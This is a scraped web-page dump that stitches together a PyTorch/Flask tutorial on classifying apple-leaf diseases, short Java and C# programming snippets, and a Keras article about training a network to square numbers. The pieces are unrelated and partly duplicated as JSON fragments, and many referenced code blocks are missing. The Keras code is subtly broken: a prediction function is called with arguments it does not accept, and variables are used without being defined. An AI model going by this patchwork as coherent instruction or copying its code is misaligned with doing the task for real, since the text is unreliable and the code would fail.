AlexNet architecture, and then we compare the model which one is the best and make sure that you set the pretrained parameter to true. Because we use that, we have to set the parameters to not calculate the gradient except the final layer which is the fully-connected layer. Then, we can change the final layer’s output neurons based on the number of class on the dataset. And then, we can train the model. Here is the code, Make sure that you know where the location of the final layer because each model has a different method on how to access it. With ResNet, we can access the fc index to access the final layer, but on the VGG and AlexNet, we access it by index classifier and index number 6. You can see the outline of each model by calling it on the block code, and here is the code and the output, When we train the model, it occurs on several epochs. Epochs describe how many iterations to train the model. On each epoch, there are several steps to train the model. First, the model feedforwards the image, and get the best output. Then, it compares the output and the true label and calculates the loss. After that, it calculates the gradient on each parameter, and then update each weight based on the amount of gradient of the model. It repeats until it reaches the final epoch, and we will get the best model from all epochs. Here is the best result on each model, """ For VGG-16, Training complete in 27m 4s Best val Acc: 0.964706 For ResNet-18, Training complete in 10m 7s Best val Acc: 0.968627 For AlexNet, Training complete in 7m 40s Best val Acc: 0.976471 """ To determine which model to use, we have to consider based on our needs. Of course, we need a model with great accuracy to it. But if we want to deploy to the web application, make sure that your model has a small size, so we can deploy that on GitHub and Heroku. Based on those results, we conclude that the AlexNet is the best and the fastest model to classify the disease on the apple in 7 minutes and 40 seconds. Also, we can see that the VGG-16 model is the slowest and the lowest accuracy score. The ResNet-18 is in the middle position. It’s not slower than the AlexNet, and it’s also has a great accuracy than VGG-16. But, when we deploy those models, the ResNet-18 has the smallest size. Therefore, we will use the ResNet-18 model as our classifier. If we want to test the model, we can call the dataloader on test dataset to test whether the model can predict the image accurately. The code will look like this, After that, we have the output that looks like this, """ GroundTruth: Cedar Apple Rust, Healthy, Black Rot, Healthy Predicted: Cedar Apple Rust, Healthy, Black Rot, Healthy""" So, if we are confident with our new model, we can save it. To do that, we can use this code below, # Save The Model PATH = ‘./fix_resnet18.pth’ torch.save(model_resnet.state_dict(), PATH) It will save your model to .pth format. If we want to use it in the other session, we can use this command, And that’s how to build an image classifier using PyTorch! Right after we create the model, we can build the web application using Flask. In general, we will work on two things. They are working on the server and create the page to display that. First, we have to build a file called app.py. It will handle the website, and it includes showing the page, and also it will process the input. In this case, we have an image input. The code inside of it will look like this, Let me explain each line of it. Line 1–8 imports the libraries that we need, including Flask, PyTorch, string, and many more. Line 10 declares a Flask object. Line 12–36 do the modelling task with PyTorch. Line 38–43 declares a dictionary that displays the prediction result. Line 46–58 is the main process of our web app. Line 60–61 to make sure our app will run by using this command below, python app.py Some of you are probably new to the Flask. Let me explain to you how it works. Line 46 is to set our route on the website. In this case, on our website, if we want to show the main page, we will go to that root like http://127.0.0.1:5000/ where the last character of the URL describes our route. Inside of it also describe the GET and POST methods. They describe on how we interact with the website. If we use the GET method, we only request to the server and not send any file there. The POST method will send files to the server, and also request the result from it. On line 47, it declares a function called upload_file. It will work on our data. If we open the web at first, it will use the GET method to retrieve the web page only. After that, we give an image input and then upload them. Because we upload the data, it will use the POST method to process our data where it will predict which disease that exists on the leaf image. After it’s done, we receive a new page that shows what disease of the leaf has and the descriptions of it. Now, we create the web pages that describe the main page and the prediction result page. We create three files they are layout.html, index.html, and result.html. Wait, we build two pages, but why we build another page? There’s a concept on Flask called templates. In short, we don’t have to build a full web page. Instead, we build the additional page as the layout to all pages, so we don’t have to code a full HTML to it. Let me show you the layout.html file, As we can see, the web page doesn’t have any content at all, except there is a {% block content %} command inside our body tag. It’s called a block, and it will contain the element from another file. Let me show you the index and the result page, As we can see from both files, we don’t code the full web page. Instead, we call {% extends “layout.html” %} as our template for the website. Below of it, there is the block section to fill that. That’s why we don’t have to build from scratch, and it makes our time shorter than before. After we build the code and run the command, we can go to http://127.0.0.1:5000/, and it will show the page on the website, Transfer Learning is a useful concept to implement our own classifier without training them from scratch. In this article, I have already shown to you on how we can build it using transfer learning concept on PyTorch with different architectures. Also, I’ve already shown to you on how to build a web app using Flask. Make sure that your model doesn’t consume a huge size of storage, but still has a great accuracy to it, so you can deploy the model without any problem. I hope it will be useful to you and thank you for reading my article. If you want to see the code, you can look at my GitHub repo here.
[ { "code": null, "e": 363, "s": 172, "text": "Deep Learning is a great model for handling unstructured data, especially on images. The progress of this field is really fast, and one of the progress is something called Transfer Learning." }, { "code": null, "e": 571, "s": 363, "text": "Transfer Learning is a method to train the neural network that has already trained on a different dataset, so we don’t have to train it from scratch because it could take several days or weeks to train them." }, { "code": null, "e": 809, "s": 571, "text": "If we use the transfer learning to our dataset, it only takes several hours to train because we only train the final layer. Therefore, we can use it to train on the other dataset with already pre-trained model and its given architecture." }, { "code": null, "e": 1046, "s": 809, "text": "To make the model is useful to use, we have to deploy them, in example by building a web app that makes it more user friendly. Thankfully, we can do that using PyTorch to build a deep learning model and Flask to build a web application." }, { "code": null, "e": 1406, "s": 1046, "text": "In this article, I will show you on how to build a web application for image classification on an Apple leaf to classify whether is it healthy or not and if it doesn’t, which disease the leaf has. To build that, we can use transfer learning using PyTorch, and also how to build a simple web application using Flask. Here is the preview of the web application," }, { "code": null, "e": 1519, "s": 1406, "text": "The first task that we have to do is to build an image classifier. It consists of several steps to do, they are," }, { "code": null, "e": 1538, "s": 1519, "text": "Download the data," }, { "code": null, "e": 1558, "s": 1538, "text": "Preparing the data," }, { "code": null, "e": 1575, "s": 1558, "text": "Build the model," }, { "code": null, "e": 1591, "s": 1575, "text": "Test the model," }, { "code": null, "e": 1607, "s": 1591, "text": "Save the model." }, { "code": null, "e": 1756, "s": 1607, "text": "For the dataset, we can use the PlantVillage datasets to retrieve our dataset to use. You can download the dataset from this GitHub repository here." }, { "code": null, "e": 1887, "s": 1756, "text": "Right after we download the data, we can prepare the dataset first. First, we have to structure our dataset into separate folders." }, { "code": null, "e": 2058, "s": 1887, "text": "If we see the dataset that we have downloaded, we can see that there are so many images from different plants. In this case, we only pick the plant that relates to Apple." }, { "code": null, "e": 2123, "s": 2058, "text": "So, we take the folder that consists of Apple leaf images to it." }, { "code": null, "e": 2388, "s": 2123, "text": "Then, we divide each folder into 3 different folders, they are train, val, and test. Then, we divide each group by 80% for train data (divide them for train and validation with 90:10 proportion) and 20% for test data. The amount of each folder will look like this," }, { "code": null, "e": 2451, "s": 2388, "text": "Finally, the folder will have a structure will look like this," }, { "code": null, "e": 2732, "s": 2451, "text": "After we have a folder structure like above, we can build the model for image classification. Before we can build that, we have to import the dataset, and also we have to transform the data, so it has the same representation that gets into the model. The code will look like this," }, { "code": null, "e": 3056, "s": 2732, "text": "As we can see above, there are several steps on how to prepare the dataset. First, we have to transform the dataset. It is a must because the model cannot process the data that don’t have the required size. Therefore, we have to resize it and also crop the dataset with the same dimension with the first layer of the model." }, { "code": null, "e": 3455, "s": 3056, "text": "Then, after we transform the image, we can load it to our code using ImageFolder method to do it. Also, we apply the transform to the dataset to it. We can train the model by using all of the training dataset, but it will take a lot of time. Therefore, we have to create batches to reduce the computation time. To make sure that the batches are random, we have to set the shuffle parameter to true." }, { "code": null, "e": 3653, "s": 3455, "text": "Finally, we retrieve the number of the images and the class names, and also we can enable the GPU using the torch.device function. After we do all the steps, we can move into the modelling section." }, { "code": null, "e": 3951, "s": 3653, "text": "Because we build the model based on the pre-trained model, the first thing we have to do is to download the model. In this case, I only use VGG-16, ResNet-18, and AlexNet architecture, and then we compare the model which one is the best and make sure that you set the pretrained parameter to true." }, { "code": null, "e": 4223, "s": 3951, "text": "Because we use that, we have to set the parameters to not calculate the gradient except the final layer which is the fully-connected layer. Then, we can change the final layer’s output neurons based on the number of class on the dataset. And then, we can train the model." }, { "code": null, "e": 4241, "s": 4223, "text": "Here is the code," }, { "code": null, "e": 4514, "s": 4241, "text": "Make sure that you know where the location of the final layer because each model has a different method on how to access it. With ResNet, we can access the fc index to access the final layer, but on the VGG and AlexNet, we access it by index classifier and index number 6." }, { "code": null, "e": 4622, "s": 4514, "text": "You can see the outline of each model by calling it on the block code, and here is the code and the output," }, { "code": null, "e": 5155, "s": 4622, "text": "When we train the model, it occurs on several epochs. Epochs describe how many iterations to train the model. On each epoch, there are several steps to train the model. First, the model feedforwards the image, and get the best output. Then, it compares the output and the true label and calculates the loss. After that, it calculates the gradient on each parameter, and then update each weight based on the amount of gradient of the model. It repeats until it reaches the final epoch, and we will get the best model from all epochs." }, { "code": null, "e": 5194, "s": 5155, "text": "Here is the best result on each model," }, { "code": null, "e": 5397, "s": 5194, "text": "\"\"\" For VGG-16, Training complete in 27m 4s Best val Acc: 0.964706 For ResNet-18, Training complete in 10m 7s Best val Acc: 0.968627 For AlexNet, Training complete in 7m 40s Best val Acc: 0.976471 \"\"\"" }, { "code": null, "e": 5661, "s": 5397, "text": "To determine which model to use, we have to consider based on our needs. Of course, we need a model with great accuracy to it. But if we want to deploy to the web application, make sure that your model has a small size, so we can deploy that on GitHub and Heroku." }, { "code": null, "e": 6155, "s": 5661, "text": "Based on those results, we conclude that the AlexNet is the best and the fastest model to classify the disease on the apple in 7 minutes and 40 seconds. Also, we can see that the VGG-16 model is the slowest and the lowest accuracy score. The ResNet-18 is in the middle position. It’s not slower than the AlexNet, and it’s also has a great accuracy than VGG-16. But, when we deploy those models, the ResNet-18 has the smallest size. Therefore, we will use the ResNet-18 model as our classifier." }, { "code": null, "e": 6318, "s": 6155, "text": "If we want to test the model, we can call the dataloader on test dataset to test whether the model can predict the image accurately. The code will look like this," }, { "code": null, "e": 6371, "s": 6318, "text": "After that, we have the output that looks like this," }, { "code": null, "e": 6496, "s": 6371, "text": "\"\"\" GroundTruth: Cedar Apple Rust, Healthy, Black Rot, Healthy Predicted: Cedar Apple Rust, Healthy, Black Rot, Healthy\"\"\"" }, { "code": null, "e": 6596, "s": 6496, "text": "So, if we are confident with our new model, we can save it. To do that, we can use this code below," }, { "code": null, "e": 6685, "s": 6596, "text": "# Save The Model PATH = ‘./fix_resnet18.pth’ torch.save(model_resnet.state_dict(), PATH)" }, { "code": null, "e": 6793, "s": 6685, "text": "It will save your model to .pth format. If we want to use it in the other session, we can use this command," }, { "code": null, "e": 6852, "s": 6793, "text": "And that’s how to build an image classifier using PyTorch!" }, { "code": null, "e": 7039, "s": 6852, "text": "Right after we create the model, we can build the web application using Flask. In general, we will work on two things. They are working on the server and create the page to display that." }, { "code": null, "e": 7264, "s": 7039, "text": "First, we have to build a file called app.py. It will handle the website, and it includes showing the page, and also it will process the input. In this case, we have an image input. The code inside of it will look like this," }, { "code": null, "e": 7657, "s": 7264, "text": "Let me explain each line of it. Line 1–8 imports the libraries that we need, including Flask, PyTorch, string, and many more. Line 10 declares a Flask object. Line 12–36 do the modelling task with PyTorch. Line 38–43 declares a dictionary that displays the prediction result. Line 46–58 is the main process of our web app. Line 60–61 to make sure our app will run by using this command below," }, { "code": null, "e": 7671, "s": 7657, "text": "python app.py" }, { "code": null, "e": 7967, "s": 7671, "text": "Some of you are probably new to the Flask. Let me explain to you how it works. Line 46 is to set our route on the website. In this case, on our website, if we want to show the main page, we will go to that root like http://127.0.0.1:5000/ where the last character of the URL describes our route." }, { "code": null, "e": 8240, "s": 7967, "text": "Inside of it also describe the GET and POST methods. They describe on how we interact with the website. If we use the GET method, we only request to the server and not send any file there. The POST method will send files to the server, and also request the result from it." }, { "code": null, "e": 8715, "s": 8240, "text": "On line 47, it declares a function called upload_file. It will work on our data. If we open the web at first, it will use the GET method to retrieve the web page only. After that, we give an image input and then upload them. Because we upload the data, it will use the POST method to process our data where it will predict which disease that exists on the leaf image. After it’s done, we receive a new page that shows what disease of the leaf has and the descriptions of it." }, { "code": null, "e": 8934, "s": 8715, "text": "Now, we create the web pages that describe the main page and the prediction result page. We create three files they are layout.html, index.html, and result.html. Wait, we build two pages, but why we build another page?" }, { "code": null, "e": 9177, "s": 8934, "text": "There’s a concept on Flask called templates. In short, we don’t have to build a full web page. Instead, we build the additional page as the layout to all pages, so we don’t have to code a full HTML to it. Let me show you the layout.html file," }, { "code": null, "e": 9424, "s": 9177, "text": "As we can see, the web page doesn’t have any content at all, except there is a {% block content %} command inside our body tag. It’s called a block, and it will contain the element from another file. Let me show you the index and the result page," }, { "code": null, "e": 9711, "s": 9424, "text": "As we can see from both files, we don’t code the full web page. Instead, we call {% extends “layout.html” %} as our template for the website. Below of it, there is the block section to fill that. That’s why we don’t have to build from scratch, and it makes our time shorter than before." }, { "code": null, "e": 9835, "s": 9711, "text": "After we build the code and run the command, we can go to http://127.0.0.1:5000/, and it will show the page on the website," }, { "code": null, "e": 10306, "s": 9835, "text": "Transfer Learning is a useful concept to implement our own classifier without training them from scratch. In this article, I have already shown to you on how we can build it using transfer learning concept on PyTorch with different architectures. Also, I’ve already shown to you on how to build a web app using Flask. Make sure that your model doesn’t consume a huge size of storage, but still has a great accuracy to it, so you can deploy the model without any problem." } ]
What is the difference between System.out.println() and System.out.print() in Java?
The println() terminates the current line by writing the line separator string. The print() method just prints the given content. Live Demo public class Sample { public static void main(String args[]) { System.out.println("Hello"); System.out.println("how are you"); System.out.print("Hello"); System.out.print("how are you"); } } Hello how are you Hellohow are you
[ { "code": null, "e": 1192, "s": 1062, "text": "The println() terminates the current line by writing the line separator string. The print() method just prints the given content." }, { "code": null, "e": 1202, "s": 1192, "text": "Live Demo" }, { "code": null, "e": 1423, "s": 1202, "text": "public class Sample {\n public static void main(String args[]) {\n System.out.println(\"Hello\");\n System.out.println(\"how are you\");\n System.out.print(\"Hello\");\n System.out.print(\"how are you\");\n }\n}" }, { "code": null, "e": 1458, "s": 1423, "text": "Hello\nhow are you\nHellohow are you" } ]
How to add integer values to a C# list?
To add integer values to a list in C#, use the Add() method. Firstly, declare an integer list in C# − List<int> list1 = new List<int>(); Now add integer values − list1.Add(900); list1.Add(400); list1.Add(300); Let us see the complete code − using System; using System.Collections.Generic; using System.Linq; using System.Text.RegularExpressions; namespace Demo { public class Program { public static void Main(String[] args) { List<int> list1 = new List<int>(); list1.Add(900); list1.Add(400); list1.Add(300); Console.WriteLine(list1.Count); } } }
[ { "code": null, "e": 1123, "s": 1062, "text": "To add integer values to a list in C#, use the Add() method." }, { "code": null, "e": 1164, "s": 1123, "text": "Firstly, declare an integer list in C# −" }, { "code": null, "e": 1199, "s": 1164, "text": "List<int> list1 = new List<int>();" }, { "code": null, "e": 1224, "s": 1199, "text": "Now add integer values −" }, { "code": null, "e": 1272, "s": 1224, "text": "list1.Add(900);\nlist1.Add(400);\nlist1.Add(300);" }, { "code": null, "e": 1303, "s": 1272, "text": "Let us see the complete code −" }, { "code": null, "e": 1674, "s": 1303, "text": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text.RegularExpressions;\n\nnamespace Demo {\n public class Program {\n public static void Main(String[] args) {\n List<int> list1 = new List<int>();\n list1.Add(900);\n list1.Add(400);\n list1.Add(300);\n Console.WriteLine(list1.Count);\n }\n }\n}" } ]
The Simplest Neural Network: Understanding the non-linearity | by Tushar Seth | Towards Data Science
The first neural network you want to build using squaring of numbers. Yes it’s not XOR or MNIST Every time you want to learn about NNs or data science or AI, you search through google, you go through Reddit, get some GitHub codes. There is MNIST dataset, GANs, convolution layers, everywhere. Everybody is talking about neural networks. You pick up your laptop, run the code, Voila! it works. But then scratching your head, you know this is maths but how did this work? Suddenly you think: enough, I want to learn the basics. You go to google and search ‘basics of neural networks’ and result: lots of tutorials showing MNIST dataset, XOR gate. You implement, it works, still, the question pops up how the duck it’s working? You get to know about multilayer perceptron- the basics of NNs. Again working on gates doesn’t satisfy you as that doesn’t seem to be predicting something. It’s from the training dataset’s 1’s and 0’s. You want some real-world example, then you come across this article. You think again one more article on NNs. But in this article, no basic theory, but the applicability of NNs. I am not showing you the internal maths happening, but to get the feel of how neural networks behave the way you see them behaving. Hope this helps you understand the “basic” Neural networks working(the non-linearity). Like outer space, the brain is one thing that is still inexplicable in many aspects. We know that there exist small alien-like structures (yes those are horrendous), neurons, which are responsible for the transfer of information and there are several parts of the brain like the cerebrum, cerebellum which has their different functions. Different Neurons get activated differently(in a non-linear fashion) and transfer the information through electrical impulses. But the exact function of how these organs work and how neurons combine and transfer and store information and make the brain, one of the most incredible thing out there and are still having the scope of huge research. When you are starting out your journey as an AI enthusiast, you come across many ways to start your learning. Data science is more related to statistics and mathematics. But it has been observed that neural networks can increase the power of data science to a tremendous level as it learns the non-linear relationships between the data as well, which is difficult to observe through normal statistics. There are many good posts out there explaining how neural networks work, backpropagation, how different nodes connect to each other using weights and so many hyperparameters control these. Hence, I am not giving those details in this post. This and this are very nice posts regarding neural networks and backpropagation of which, the second link I highly recommend, which helped me in understanding neural networks in deep as in the second link, there is a detailed explanation of how relus(activation function) help in the determination of non-linear intricacies in the network. But since neural networks are all about mathematics, non-linearity, learning; I wanted to see how it is able to adapt to simple non-linear functions. Yes, square function This is the jupyter notebook which I created for the analysis: github.com We will be mainly using TensorFlow’s Keras, and from Keras, Sequential and Dense. Tensorflow is a widely used framework for neural networks and deep learning. Keras used to be a wrapper to isolate Tensorflow/Pytorch so that the code you develop in Keras could work in any of the libraries. But in tensorflow2.0, Google realized that TF1.0 was way too complicated and they introduced Keras API in tensorflow2.0 as a part of it. Sequential and Functional are two types of models present in Keras. Where Sequential allows connection of layers in sequence, ie. one after the another; the functional allows connection of any layer to any of the layers in the whole network. Since we will be using only one hidden layer with one input and one output layer. Dense helps implement densely connected layers. Keras core offers a lot more implementations like convolution, LSTM etc. But this is not Keras post, so let’s focus on our neural network. '''Training a neural network to predict the square of a number'''import numpy as npimport matplotlib.pyplot as ppfrom tensorflow import kerasfrom keras.models import Sequentialfrom keras.layers.core import Densefrom IPython.display import Audio, display Let’s see what all hyperparameters we need to create and run this NN. n_samples: how many samples are needed for 1 epoch. epoch: when all the samples complete forward and backward propagation batch_size: how many samples can be introduced in one time to the neural network mid_range: the range within which the number of samples is taken. num_neurons: the number of neural nodes to be kept in the hidden layer eg. we want 100000 samples between 1 and 10. So, it will give us values like 1.02, 7.89 '''configurations for neural net'''# change these values to experimentn_samples = 100000 # number of samples between 0 and mid_rangeepochs = 400 # number of times for the fwd and backward propagationbatch_size = 1000 # number of samples sent through NN at oncemid_range = 10 # range within which data is requirednum_neurons = 10 # number of neurons in the hidden layer get_data method takes n_samples = 100000 and mid_range=10 which means this will spit out random 1000000 between 1 and 10. '''creates random samples of n_samples rows which are between 0 to 1.mid_range decides the range under which the samples will be created.'''def get_data(n_samples, mid_range): X = np.random.random((n_samples,1))*mid_range-(mid_range/2) # eg. if n_samples = 10000, mid_range = 10 then it will create samples b/w # 0 and 5 positive and negative y = X*X #print(X) return X,y Here we create a neural network of one node as input, 10 nodes as a hidden layer (not any hard and fast rule. Check which works for you the best) and one output layer. ''' creating the neural net model of 1:20:1; relu activation, mse as loss and adam optimizer'''def get_model(): model = Sequential() model.add(Dense(num_neurons, input_shape=(1,), activation='relu')) model.add(Dense(1)) print(model.summary()) model.compile(loss='mse', optimizer='adam') return model As shown in the figure above, we train the neural network with all the 10,00,000 samples for a defined number of epochs. The network is provided with X as input and y as expected output which is x2. ''' train the model for specified number of epochs, batch_size'''def train_model(X, y, model, epochs, batch_size): h = model.fit(X, y, validation_split=0.2, epochs=epochs, batch_size=batch_size, verbose=1) pp.figure(figsize=(15,2.5)) pp.plot(h.history['loss']) return model Here we predict the model for X_train which is training data and X_test is outside of the training data. ''' predict the model for X(training data) and or X2 which is outside the training dataset'''def predict_model(): pred = model.predict(X) mid_range = 20 X2 = np.random.random((n_samples,1))*mid_range-(mid_range/2) pred2 = model.predict(X2) # uncomment below code to observe the expected and actual values # in the form (inputData, expectedOutputData, predictedOutputData, difference) #pred2 = model.predict([-6]) #for i,j in zip(X, pred): # print(i,i*i,j, j-(i*i)) pp.figure(figsize=(10,3)) pp.plot(X,pred, '.') pp.xlabel('x') pp.ylabel('prediction') pp.title('Prediction within training sample space') pp.figure(figsize=(10,3)) pp.plot(X2,pred2, '.') pp.xlabel('x') pp.ylabel('prediction') pp.title('Prediction outside training sample space') if __name__ == '__main__' : X_train,y_train = get_data(n_samples, mid_range_train) X_test,y_test = get_data(n_samples, mid_range_test) model = get_model() pp.figure(figsize=(10,3)) pp.plot(X_train, y_train,'.') pp.title('Original Training Data') model = train_model(X_train, y_train, model, epochs, batch_size) predict_model(X_train, X_test) # below is audio which will fireup(literally :D) when the training and #prediction completes display(Audio(url='https://sound.peal.io/ps/audios/000/000/537/ \ original/woo_vu_luvub_dub_dub.wav', autoplay=True)) The main reason is that neural networks are good at interpolating rather than extrapolating ie. if the data lies within the sample space, (may not be the training data but within the range of training data) eg. 1–10 in this case. If I try to predict 112, 122 etc. it might predict it wrong. The reason is that beyond the sample space, the Neural networks leave the non-linearity and become linear as you can see from the above plot. Change the mid_range to 100 and see how the performance degrades. The reason is that now the sample space is too huge to imagine between 1 and 2, there are infinitely large numbers. So, 1–100 becomes too huge for a sample space. You can train for this as well. But you might need 100,000,00 samples and a large number of epochs. And maybe more. For this, you need powerful computing environments and much more time.Change the num_neurons and see how it performs. You can see as you decrease num_neurons, it tends to become more and more linear and starts losing its non-linearity. The reason being that non-linearity comes with reinforcement of a number of linearities (product of many linear functions).Change the batch size to observe how lower and higher batch size performs. Too low the batch size is, too much time it takes to train, moreover it gets saturated after some time and doesn’t train well. Too high the batch size, the more epochs it needs to converge. So, best is to keep an optimum value(the sweet spot) Change the mid_range to 100 and see how the performance degrades. The reason is that now the sample space is too huge to imagine between 1 and 2, there are infinitely large numbers. So, 1–100 becomes too huge for a sample space. You can train for this as well. But you might need 100,000,00 samples and a large number of epochs. And maybe more. For this, you need powerful computing environments and much more time. Change the num_neurons and see how it performs. You can see as you decrease num_neurons, it tends to become more and more linear and starts losing its non-linearity. The reason being that non-linearity comes with reinforcement of a number of linearities (product of many linear functions). Change the batch size to observe how lower and higher batch size performs. Too low the batch size is, too much time it takes to train, moreover it gets saturated after some time and doesn’t train well. Too high the batch size, the more epochs it needs to converge. So, best is to keep an optimum value(the sweet spot) Note: This code I have shown you is based on tensorflow==1.X and fails if instead of using Keras, I use tensorflow==2.0 and use tf.keras. I have raised the issue for this on GitHub. I will update here when it gets resolved. In Jupyter notebook, it works since it still uses the 1.X version of TensorFlow. In the next post, I will show you how you can deploy this neural network training and prediction to a Kubernetes cluster over Google Kubernetes Engine by creating two microservices and calling them using Flask rest and gRPC. Don’t miss it as it’s got all in one post. Till then, keep on playing with the neurons(not with the actual ones :P). Connect with me on LinkedIn. Signing off!!.
[ { "code": null, "e": 268, "s": 172, "text": "The first neural network you want to build using squaring of numbers. Yes it’s not XOR or MNIST" }, { "code": null, "e": 642, "s": 268, "text": "Every time you want to learn about NNs or data science or AI, you search through google, you go through Reddit, get some GitHub codes. There is MNIST dataset, GANs, convolution layers, everywhere. Everybody is talking about neural networks. You pick up your laptop, run the code, Voila! it works. But then scratching your head, you know this is maths but how did this work?" }, { "code": null, "e": 1496, "s": 642, "text": "Suddenly you think: enough, I want to learn the basics. You go to google and search ‘basics of neural networks’ and result: lots of tutorials showing MNIST dataset, XOR gate. You implement, it works, still, the question pops up how the duck it’s working? You get to know about multilayer perceptron- the basics of NNs. Again working on gates doesn’t satisfy you as that doesn’t seem to be predicting something. It’s from the training dataset’s 1’s and 0’s. You want some real-world example, then you come across this article. You think again one more article on NNs. But in this article, no basic theory, but the applicability of NNs. I am not showing you the internal maths happening, but to get the feel of how neural networks behave the way you see them behaving. Hope this helps you understand the “basic” Neural networks working(the non-linearity)." }, { "code": null, "e": 2179, "s": 1496, "text": "Like outer space, the brain is one thing that is still inexplicable in many aspects. We know that there exist small alien-like structures (yes those are horrendous), neurons, which are responsible for the transfer of information and there are several parts of the brain like the cerebrum, cerebellum which has their different functions. Different Neurons get activated differently(in a non-linear fashion) and transfer the information through electrical impulses. But the exact function of how these organs work and how neurons combine and transfer and store information and make the brain, one of the most incredible thing out there and are still having the scope of huge research." }, { "code": null, "e": 2581, "s": 2179, "text": "When you are starting out your journey as an AI enthusiast, you come across many ways to start your learning. Data science is more related to statistics and mathematics. But it has been observed that neural networks can increase the power of data science to a tremendous level as it learns the non-linear relationships between the data as well, which is difficult to observe through normal statistics." }, { "code": null, "e": 3161, "s": 2581, "text": "There are many good posts out there explaining how neural networks work, backpropagation, how different nodes connect to each other using weights and so many hyperparameters control these. Hence, I am not giving those details in this post. This and this are very nice posts regarding neural networks and backpropagation of which, the second link I highly recommend, which helped me in understanding neural networks in deep as in the second link, there is a detailed explanation of how relus(activation function) help in the determination of non-linear intricacies in the network." }, { "code": null, "e": 3332, "s": 3161, "text": "But since neural networks are all about mathematics, non-linearity, learning; I wanted to see how it is able to adapt to simple non-linear functions. Yes, square function" }, { "code": null, "e": 3395, "s": 3332, "text": "This is the jupyter notebook which I created for the analysis:" }, { "code": null, "e": 3406, "s": 3395, "text": "github.com" }, { "code": null, "e": 3833, "s": 3406, "text": "We will be mainly using TensorFlow’s Keras, and from Keras, Sequential and Dense. Tensorflow is a widely used framework for neural networks and deep learning. Keras used to be a wrapper to isolate Tensorflow/Pytorch so that the code you develop in Keras could work in any of the libraries. But in tensorflow2.0, Google realized that TF1.0 was way too complicated and they introduced Keras API in tensorflow2.0 as a part of it." }, { "code": null, "e": 4157, "s": 3833, "text": "Sequential and Functional are two types of models present in Keras. Where Sequential allows connection of layers in sequence, ie. one after the another; the functional allows connection of any layer to any of the layers in the whole network. Since we will be using only one hidden layer with one input and one output layer." }, { "code": null, "e": 4344, "s": 4157, "text": "Dense helps implement densely connected layers. Keras core offers a lot more implementations like convolution, LSTM etc. But this is not Keras post, so let’s focus on our neural network." }, { "code": null, "e": 4598, "s": 4344, "text": "'''Training a neural network to predict the square of a number'''import numpy as npimport matplotlib.pyplot as ppfrom tensorflow import kerasfrom keras.models import Sequentialfrom keras.layers.core import Densefrom IPython.display import Audio, display" }, { "code": null, "e": 4668, "s": 4598, "text": "Let’s see what all hyperparameters we need to create and run this NN." }, { "code": null, "e": 4720, "s": 4668, "text": "n_samples: how many samples are needed for 1 epoch." }, { "code": null, "e": 4790, "s": 4720, "text": "epoch: when all the samples complete forward and backward propagation" }, { "code": null, "e": 4871, "s": 4790, "text": "batch_size: how many samples can be introduced in one time to the neural network" }, { "code": null, "e": 4937, "s": 4871, "text": "mid_range: the range within which the number of samples is taken." }, { "code": null, "e": 5008, "s": 4937, "text": "num_neurons: the number of neural nodes to be kept in the hidden layer" }, { "code": null, "e": 5096, "s": 5008, "text": "eg. we want 100000 samples between 1 and 10. So, it will give us values like 1.02, 7.89" }, { "code": null, "e": 5465, "s": 5096, "text": "'''configurations for neural net'''# change these values to experimentn_samples = 100000 # number of samples between 0 and mid_rangeepochs = 400 # number of times for the fwd and backward propagationbatch_size = 1000 # number of samples sent through NN at oncemid_range = 10 # range within which data is requirednum_neurons = 10 # number of neurons in the hidden layer" }, { "code": null, "e": 5587, "s": 5465, "text": "get_data method takes n_samples = 100000 and mid_range=10 which means this will spit out random 1000000 between 1 and 10." }, { "code": null, "e": 5966, "s": 5587, "text": "'''creates random samples of n_samples rows which are between 0 to 1.mid_range decides the range under which the samples will be created.'''def get_data(n_samples, mid_range): X = np.random.random((n_samples,1))*mid_range-(mid_range/2) # eg. if n_samples = 10000, mid_range = 10 then it will create samples b/w # 0 and 5 positive and negative y = X*X #print(X) return X,y" }, { "code": null, "e": 6134, "s": 5966, "text": "Here we create a neural network of one node as input, 10 nodes as a hidden layer (not any hard and fast rule. Check which works for you the best) and one output layer." }, { "code": null, "e": 6440, "s": 6134, "text": "''' creating the neural net model of 1:20:1; relu activation, mse as loss and adam optimizer'''def get_model(): model = Sequential() model.add(Dense(num_neurons, input_shape=(1,), activation='relu')) model.add(Dense(1)) print(model.summary()) model.compile(loss='mse', optimizer='adam') return model" }, { "code": null, "e": 6639, "s": 6440, "text": "As shown in the figure above, we train the neural network with all the 10,00,000 samples for a defined number of epochs. The network is provided with X as input and y as expected output which is x2." }, { "code": null, "e": 6959, "s": 6639, "text": "''' train the model for specified number of epochs, batch_size'''def train_model(X, y, model, epochs, batch_size): h = model.fit(X, y, validation_split=0.2, epochs=epochs, batch_size=batch_size, verbose=1) pp.figure(figsize=(15,2.5)) pp.plot(h.history['loss']) return model" }, { "code": null, "e": 7064, "s": 6959, "text": "Here we predict the model for X_train which is training data and X_test is outside of the training data." }, { "code": null, "e": 7834, "s": 7064, "text": "''' predict the model for X(training data) and or X2 which is outside the training dataset'''def predict_model(): pred = model.predict(X) mid_range = 20 X2 = np.random.random((n_samples,1))*mid_range-(mid_range/2) pred2 = model.predict(X2) # uncomment below code to observe the expected and actual values # in the form (inputData, expectedOutputData, predictedOutputData, difference) #pred2 = model.predict([-6]) #for i,j in zip(X, pred): # print(i,i*i,j, j-(i*i)) pp.figure(figsize=(10,3)) pp.plot(X,pred, '.') pp.xlabel('x') pp.ylabel('prediction') pp.title('Prediction within training sample space') pp.figure(figsize=(10,3)) pp.plot(X2,pred2, '.') pp.xlabel('x') pp.ylabel('prediction') pp.title('Prediction outside training sample space')" }, { "code": null, "e": 8414, "s": 7834, "text": "if __name__ == '__main__' : X_train,y_train = get_data(n_samples, mid_range_train) X_test,y_test = get_data(n_samples, mid_range_test) model = get_model() pp.figure(figsize=(10,3)) pp.plot(X_train, y_train,'.') pp.title('Original Training Data') model = train_model(X_train, y_train, model, epochs, batch_size) predict_model(X_train, X_test) # below is audio which will fireup(literally :D) when the training and #prediction completes display(Audio(url='https://sound.peal.io/ps/audios/000/000/537/ \\ original/woo_vu_luvub_dub_dub.wav', autoplay=True))" }, { "code": null, "e": 8644, "s": 8414, "text": "The main reason is that neural networks are good at interpolating rather than extrapolating ie. if the data lies within the sample space, (may not be the training data but within the range of training data) eg. 1–10 in this case." }, { "code": null, "e": 8847, "s": 8644, "text": "If I try to predict 112, 122 etc. it might predict it wrong. The reason is that beyond the sample space, the Neural networks leave the non-linearity and become linear as you can see from the above plot." }, { "code": null, "e": 9869, "s": 8847, "text": 